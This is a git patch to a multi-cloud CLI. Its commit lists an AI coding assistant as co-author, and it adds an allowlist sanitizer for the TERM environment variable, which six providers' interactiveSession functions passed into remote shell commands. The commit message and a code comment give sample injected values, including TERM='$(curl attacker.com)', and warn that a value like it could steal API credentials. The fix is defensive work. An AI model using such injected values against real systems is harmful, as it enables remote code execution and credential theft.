From 63bce1bd04bafb510f0b415d6973876fde066eeb Mon Sep 17 00:00:00 2001 From: A <258483684+la14-1@users.noreply.github.com> Date: Sun, 22 Feb 2026 15:11:09 -0800 Subject: [PATCH] security: sanitize TERM env var in interactiveSession to prevent shell injection (#1763) All 6 cloud providers interpolated process.env.TERM directly into shell commands without validation. A malicious TERM value (e.g., containing $(cmd)) would execute on the remote server, potentially exfiltrating OPENROUTER_API_KEY and other credentials. Add sanitizeTermValue() allowlist (alphanumeric, dots, hyphens, underscores) to cli/src/shared/ui.ts and apply it in all interactiveSession functions. Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 --- cli/src/aws/aws.ts | 3 ++- cli/src/daytona/daytona.ts | 3 ++- cli/src/digitalocean/digitalocean.ts | 3 ++- cli/src/fly/fly.ts | 3 ++- cli/src/gcp/gcp.ts | 3 ++- cli/src/hetzner/hetzner.ts | 3 ++- cli/src/shared/ui.ts | 10 ++++++++++ 7 files changed, 22 insertions(+), 6 deletions(-) diff --git a/cli/src/aws/aws.ts b/cli/src/aws/aws.ts index 67873396..f0be2bac 100644 --- a/cli/src/aws/aws.ts +++ b/cli/src/aws/aws.ts @@ -13,6 +13,7 @@ import { validateRegionName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -1060,7 +1061,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise } export async function interactiveSession(cmd: string): Promise { - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; const escapedCmd = fullCmd.replace(/'/g, "'\\''"); const proc = Bun.spawn( diff --git a/cli/src/daytona/daytona.ts b/cli/src/daytona/daytona.ts index 85266b3a..9a18c0ea 100644 --- a/cli/src/daytona/daytona.ts +++ b/cli/src/daytona/daytona.ts @@ -11,6 +11,7 @@ import { validateServerName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -489,7 +490,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise } export async function interactiveSession(cmd: string): Promise { - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; // Interactive mode — drop BatchMode so the PTY works diff --git a/cli/src/digitalocean/digitalocean.ts b/cli/src/digitalocean/digitalocean.ts index 1e26b3d5..0b2d8c61 100644 --- a/cli/src/digitalocean/digitalocean.ts +++ b/cli/src/digitalocean/digitalocean.ts @@ -12,6 +12,7 @@ import { validateRegionName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -1063,7 +1064,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str export async function interactiveSession(cmd: string, ip?: string): Promise { const serverIp = ip || doServerIp; - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; const proc = Bun.spawn( diff --git a/cli/src/fly/fly.ts b/cli/src/fly/fly.ts index 7730ea1b..3bfdcb4d 100644 --- a/cli/src/fly/fly.ts +++ b/cli/src/fly/fly.ts @@ -13,6 +13,7 @@ import { validateRegionName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -1036,7 +1037,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise } export async function interactiveSession(cmd: string): Promise { - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; // Shell-quote the command for -C const escapedCmd = fullCmd.replace(/'/g, "'\\''"); diff --git a/cli/src/gcp/gcp.ts b/cli/src/gcp/gcp.ts index 4f6cafce..b3bcadd8 100644 --- a/cli/src/gcp/gcp.ts +++ b/cli/src/gcp/gcp.ts @@ -12,6 +12,7 @@ import { validateServerName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -952,7 +953,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise export async function interactiveSession(cmd: string): Promise { const username = resolveUsername(); - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; const proc = Bun.spawn( diff --git a/cli/src/hetzner/hetzner.ts b/cli/src/hetzner/hetzner.ts index f701f0f1..57ef479c 100644 --- a/cli/src/hetzner/hetzner.ts +++ b/cli/src/hetzner/hetzner.ts @@ -12,6 +12,7 @@ import { validateRegionName, toKebabCase, defaultSpawnName, + sanitizeTermValue, } from "../shared/ui"; import type { CloudInitTier } from "../shared/agents"; import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init"; @@ -647,7 +648,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str export async function interactiveSession(cmd: string, ip?: string): Promise { const serverIp = ip || hetznerServerIp; - const term = process.env.TERM || "xterm-256color"; + const term = sanitizeTermValue(process.env.TERM || "xterm-256color"); const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`; const proc = Bun.spawn( diff --git a/cli/src/shared/ui.ts b/cli/src/shared/ui.ts index f4b8cc9e..e8fbafba 100644 --- a/cli/src/shared/ui.ts +++ b/cli/src/shared/ui.ts @@ -195,3 +195,13 @@ export function defaultSpawnName(): string { const suffix = Math.random().toString(36).slice(2, 6); return `spawn-${suffix}`; } + +/** Sanitize TERM value before interpolating into shell commands. + * SECURITY: Prevents shell injection via malicious TERM env vars + * (e.g., TERM='$(curl attacker.com)' would execute on the remote server). */ +export function sanitizeTermValue(term: string): string { + if (/^[a-zA-Z0-9._-]+$/.test(term)) { + return term; + } + return "xterm-256color"; +}